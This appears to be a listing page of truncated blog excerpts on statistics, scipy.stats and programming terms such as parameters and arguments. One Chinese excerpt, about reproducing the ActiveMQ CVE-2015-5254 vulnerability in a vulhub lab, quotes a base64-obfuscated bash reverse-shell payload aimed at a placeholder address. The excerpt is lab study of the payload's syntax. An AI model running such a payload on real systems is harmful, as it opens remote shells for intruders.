3.4 Descriptive Measures for Populations; Use of Samples For a particular variable on a particular population: 1.There is only one population mean—namely, the mean of all possible observations of the variable for the entire population. 2.There are ma…

Today an interesting bug (pitfall) is found when I was trying debug someone's code. There is a function which tries to check if an object exists or not. It has several parameters and some of them have default value. When using this function, the prog…

像往常一样简单粗暴地看码: A parameter is the variable which is part of the method’s signature (method declaration). An argument is an expression used when calling the method. Consider the following code: function add (a,b){ return a + b ;} add(1,2); Here a and b…

Having said that, the remainder of this tutorial uses the following general guidelines when discussing fields and variables. If we are talking about "fields in general" (excluding local variables and parameters), we may simply say "fields&q…

Test Xx_Formal parameter Formal parameter are local variable. It's private to the function. Ax_Array formal parameter #include<stdio.h> #define SIZE 10 int sum(int ar[], int n); int main(void) { int marbles[SIZE] = {20, 10, 5, 39, 4, 16, 19, 26, 31,…

背景 在复现vulhub上的漏洞ActiveMQ Deserialization Vulnerability (CVE-2015-5254)时,发现官方文档给出反弹shell的payload bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i} 其他部分倒是没什么说的,只是对其中的形如{command,parameter}的方式执行命令不是很理解,遂查阅了相关资料…

Correlation and Regression Sample Covariance The covariance between two random variables is a statistical measure of the degree to which the two variables move together. The covariance captures the linear relationship between two variables. A positiv…

http://blog.csdn.net/pipisorry/article/details/49515215 统计函数Statistical functions(scipy.stats) Python有一个很好的统计推断包.那就是scipy里面的stats. Scipy的stats模块包含了多种概率分布的随机变量,随机变量分为连续的和离散的两种.所有的连续随机变量都是rv_continuous的派生类的对象,而所有的离散随机变量都是 rv_discrete的派生类的对象. This modul…

scipy.stats Scipy的stats模块包含了多种概率分布的随机变量,随机变量分为连续的和离散的两种.所有的连续随机变量都是rv_continuous的派生类的对象,而所有的离散随机变量都是 rv_discrete的派生类的对象. This module contains a large number of probability distributions as well as a growing library of statistical functions. Each univ…

Statistics in Python Materials for the “Statistics in Python” euroscipy 2015 tutorial. Requirements Standard scientific Python environment (numpy, scipy, matplotlib) Pandas Statsmodels Seaborn To install Python and these dependencies, we recommend th…